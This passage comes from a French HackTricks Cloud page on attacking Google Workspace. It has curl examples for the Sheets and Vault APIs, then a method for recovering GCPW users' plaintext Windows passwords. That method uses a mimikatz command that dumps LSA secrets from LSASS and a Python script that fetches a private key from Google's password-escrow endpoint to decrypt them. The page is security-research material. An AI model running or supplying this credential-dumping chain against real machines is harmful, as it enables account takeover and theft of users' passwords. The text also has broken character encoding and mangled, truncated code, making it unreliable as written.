["Alice Johnson", "28", "alice.johnson@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"
# Append data
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"values": [
["Bob Williams", "35", "bob.williams@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
https://www.googleapis.com/auth/ediscovery (Google Vault)
Google Workspace Vault est un module complĂ©mentaire pour Google Workspace qui fournit des outils pour la conservation des donnĂ©es, la recherche et lâexportation des donnĂ©es de votre organisation stockĂ©es dans les services Google Workspace comme Gmail, Drive, Chat, et plus encore.
- Un Matter dans Google Workspace Vault est un conteneur qui organise et regroupe toutes les informations liĂ©es Ă un cas, une enquĂȘte ou une affaire lĂ©gale spĂ©cifique. Il sert de hub central pour gĂ©rer les Holds, Searches et Exports concernant ce problĂšme particulier.
- Un Hold dans Google Workspace Vault est une action de prĂ©servation appliquĂ©e Ă des utilisateurs ou groupes spĂ©cifiques pour empĂȘcher la suppression ou la modification de leurs donnĂ©es au sein des services Google Workspace. Les Holds garantissent que les informations pertinentes restent intactes et non modifiĂ©es pendant la durĂ©e dâune affaire lĂ©gale ou dâune enquĂȘte.
# List matters
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters?pageSize=10"
# Create matter
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"name": "Legal Case 2024",
"description": "Matter for the upcoming legal case involving XYZ Corp.",
"state": "OPEN"
}' \
"https://vault.googleapis.com/v1/matters"
# Get specific matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"
# List holds in a matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
GCPW - Récupération du mot de passe en clair
Pour abuser de GCPW afin de récupérer le mot de passe en clair, il est possible de dumper le mot de passe chiffré depuis LSASS en utilisant mimikatz :
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
Ensuite, recherchez le secret comme Chrome-GCPW-<sid> comme dans lâimage :

Ensuite, avec un jeton dâaccĂšs avec la portĂ©e https://www.google.com/accounts/OAuthLogin, il est possible de demander la clĂ© privĂ©e pour dĂ©chiffrer le mot de passe :
Script pour obtenir le mot de passe en texte clair donné le jeton d'accÚs, le mot de passe chiffré et l'identifiant de ressource
```python import requests from base64 import b64decode from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSAdef get_decryption_key(access_token, resource_id): try:
Request to get the private key
response = requests.get( fâhttps://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}â, headers={ âAuthorizationâ: fâBearer {access_token}â } )
Check if the response is successful
if response.status_code == 200: private_key = response.json()[âbase64PrivateKeyâ]
Properly format the RSA private key
private_key = fâââBEGIN RSA PRIVATE KEYââ\n{private_key.strip()}\nââEND RSA PRIVATE KEYâââ return private_key else: raise ValueError(fâFailed to retrieve private key: {response.text}â)
except requests.RequestException as e: print(fâError occurred while requesting the private key: {e}â) return None
def decrypt_password(access_token, lsa_secret): try:
Obtain the private key using the resource_id
resource_id = lsa_secret[âresource_idâ] encrypted_data = b64decode(lsa_secret[âencrypted_passwordâ])
private_key_pem = get_decryption_key(access_token, resource_id) print(âFound private key:â) print(private_key_pem)
if private_key_pem is None: raise ValueError(âUnable to retrieve the private key.â)
Load the RSA private key
rsa_key = RSA.import_key(private_key_pem) key_size = int(rsa_key.size_in_bits() / 8)
Decrypt the encrypted data
cipher_rsa = PKCS1_OAEP.new(rsa_key) session_key = cipher_rsa.decrypt(encrypted_data[:key_size])
Extract the session key and other data from decrypted payload
session_header = session_key[:32] session_nonce = session_key[32:] mac = encrypted_data[-16:]
Decrypt the AES GCM data
aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)
print(âDecrypted Password:â, decrypted_password.decode(âutf-8â))
except Exception as e: print(fâError occurred during decryption: {e}â)
CHANGE THIS INPUT DATA!
access_token = â<acces_token>â
lsa_secret = {
âencrypted_passwordâ: â
decrypt_password(access_token, lsa_secret)
</details>
Il est possible de trouver les composants clés de cela dans le code source de Chromium :
- Domaine API : [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- Point de terminaison API : [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
## Références
- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

